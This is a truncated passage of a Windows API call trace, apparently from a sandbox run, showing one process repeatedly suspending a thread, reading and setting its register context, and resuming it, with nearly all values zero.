[157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0114.224] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf960, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0114.224] ResumeThread (hThread=0x100) returned 0x1 [0114.225] CloseHandle (hObject=0x100) returned 1 [0114.225] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.619] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.875] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0114.895] SuspendThread (hThread=0x100) returned 0x0 [0114.896] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28faf0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f729360, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0114.896] ResumeThread (hThread=0x100) returned 0x1 [0114.896] CloseHandle (hObject=0x100) returned 1 [0114.896] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.987] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.049] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.153] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.258] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0115.259] SuspendThread (hThread=0x100) returned 0x0 [0115.259] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfc28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f734900, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0115.342] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfc20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0115.343] ResumeThread (hThread=0x100) returned 0x1 [0115.343] CloseHandle (hObject=0x100) returned 1 [0115.343] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.345] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.459] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.567] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.672] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0115.673] SuspendThread (hThread=0x100) returned 0x0 [0115.673] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfb70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f70f7a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, 